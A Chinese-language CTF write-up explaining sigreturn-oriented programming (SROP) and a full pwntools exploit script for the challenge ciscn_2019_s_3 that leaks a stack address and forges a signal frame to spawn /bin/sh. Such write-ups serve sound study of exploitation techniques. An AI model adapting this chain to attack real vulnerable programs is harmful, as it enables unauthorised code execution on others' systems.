简介
SROP(S for Sigreturn)技术在2014年被提出,论文原文在https://www.cs.vu.nl/~herbertb/papers/srop_sp14.pdf
其只需要一个syscall的gadget就能实现操控几乎全部的寄存器,相当强大
其利用前提是我们能够操控触发Sigreturn的gadget片段,比如: mov rax 值为15的syscall,又或者仅仅是调用syscall但却又有操控rax的片段,也是可以采用SROP的
原理
系统调用的发展简史
一开始,linux通过int 0x80技术来进入系统调用,但这种调用方式需要先通过调用方特权级别的检查,然后再进行压栈、跳转,这将会浪费很多资源
后来,linux 2.6的时候出现了sysenter和sysexit指令,可以快速进入系统调用而无需特权级别检查和压栈操作等,舍弃了安全性但速度很快
signal(此处指进入内核前进程发送给内核的信号)机制
每当有中断或者异常(进入系统调用的信号):
- 内核将会向进程发送signal
- 进程将会被挂起并进入内核
- 内核为其保存执行的上下文(signal frame,SROP重点就是操控这里的上下文)
- 最大的问题就是,这个signal frame发生于切态前,其只能保存在用户态,那么用户即使没有内核权限也能写入了
然后,当内核想要把执行权还给进程,就会调用sigreturn
毕竟是为了快捷地切态,sigreturn不会做任何检查,于是这里就有文章可以做了。
我们可以想办法控制这里的上下文(signal frame),那么就能控制相当大一部分的寄存器了。
看完以上内容,能通过signreturn触发getshell的signal frame长这样
如何控制signal frame来getshell
这里仅仅需要一个gadget:
syscall;retn;
这个gadget在一些老系统上是没有被随机化的,通常在vsycall,0xffffffffff600000 0 (10个f不用数了)
32位,只需要找 int 0x80就行,通常可以在vDSO找到,但这个地址有可能随机?
仅仅需要有以上一小段gadget,最后总体上分为以下步骤:
ctf版利用过程
0.存在栈溢出,可以操控ret指向到mov rax,0xf;syscall;ret;,当然只要满足条件都可以,不一定长这样
1.我们想方设法让rax为15,论文里面是直接read了15个字节以让rax返回成功读取的字节数,但ctf中不需要这么麻烦。在gadget后面跟上一个假的signal framesignal frame,这个pwntools可以方便地按格式去生成,
2.rax此时为15,此时执行syscall,则会启动sigreturn机制,此时就直接从我们伪造的signal frame(布置在此时栈顶即可)中读取了值来恢复环境,那么这里的新eip可控,等于是getshell了
real world版利用过程
下图为较为复杂但更贴合真实环境的利用,复杂在于限定条件是这样的:
我们只知道有栈溢出,而且只能控制这个gadget,没有别的gadget且没有已知地址且可控的内存区域的情况
更糟糕的是只能通过syscall;ret;来控制rax了,怎么做到的呢
0.存在栈溢出,可以操控ret指向到mov rax,0xf;syscall;ret;,当然只要满足条件都可以,不一定长这样
1.执行程序,第一轮ret到syscall;ret,此时我们布置恢复环境后的rip是gadget,并且rax为0,即sysread,且rsp和rsi同时指向想要写入的位置,这里是想写/bin/sh到已知地址的区域(图中known address),并且把栈顶迁移过去。把rdx即第三个参数设置为306,那之后就会读且返回306到rax上,这个rax对应syncfs系统调用是返回0的(可能根据不同系统版本变化),必定让rax返回值变为0,如果rax为0,那么再度触发syscall就是二度的read
2.第二次的sysread,写入我们想写的东西,比如:/bin/sh,或者shellcode让后面mprotect改权限为rwx跳转执行,
3.布置data以后,我们就获得了已知内容的已知指针,然后由于输入306个字节,read返回了306到rax上,此时又调用了一次syscall的调用号306,返回0到rax,再度获得sysread机会,
试想一下如果不是这样,那srop的链条就断了,我们必须一直保证rax为0才能连续srop
4.仅仅让sysread15个字节(通过换行符截断实现)以让rax返回成功读取的字节数,这样调用syscall我们就获得了一次sigreturn,此时signal frame紧紧挨着的是一个假的signal framesignal frame,这个pwntools可以方便地按格式去生成,此时我们可以操控全部寄存器了
5.那么最后一次ret到的地方,可以直接getshell,又或者mprotect然后写shellcode到rwx
pwntools封装的操控signal frame方法
记得设置好context的架构,这里signal frame的格式将会随之变化
sigFrame=SigreturnFrame()
sigFrame.rax=59 //rop操控或者按论文的来
sigFrame.rdi=binsh //这个如果没有,需要自己布置到已知位置
sigFrame.rsi=0x0
sigFrame.rdx=0x0
sigFrame.rip=syscall_ret //syscall;ret;
例题:ciscn_2019_s_3
可以是ret2csu,简单来说就是比如,下图,高地址可以控制r13,那么我们可以跳回mov rdx,r13,从而控制rdx,外加一次泄露栈地址即可让edi受控为binsh,此处不赘述
但是听说居然有srop,就去翻书,翻博客,翻论文学习了一下,然后就有了上面的文字
这里可以直接操控rax为15
下面这个对于srop就显得没有太大作用,我们控制rax为15以后,rax随便控,但是这个提供了ret2csu可能性
而且有小段的syscall gadget
payload:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './ciscn_s_3'
debug = 0
if debug:
run = remote('node5.buuoj.cn',25201)
else:
run = process(file_name)
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
gdb.attach(run)
pause()
elf = ELF(file_name)
main_addr = 0x4004ED
syscall_gadget = 0x400517
rax_sigreturn = 0x4004DA
#0x000000000400517 syscall;retn
#00000000004004DA mov rax,15;retn
p1 = b'a'*0x10 + p64(main_addr)
run.sendline(p1)
run.recv(0x20) #null bytes between...
binsh = u64(run.recv(8)) - 0x148 #奇葩环境... 本地 -0x148,远程 -0x118
success('/bin/sh addr is:'+hex(binsh))
#dbg()
signframe = SigreturnFrame()
signframe.rax = 59
signframe.rdi = binsh
signframe.rsi = 0
signframe.rdx = 0
signframe.rip = syscall_gadget
p2 = b'/bin/sh\x00' + b'a'*8 + p64(rax_sigreturn) + p64(syscall_gadget) + bytes(signframe)
run.sendline(p2)
run.interactive()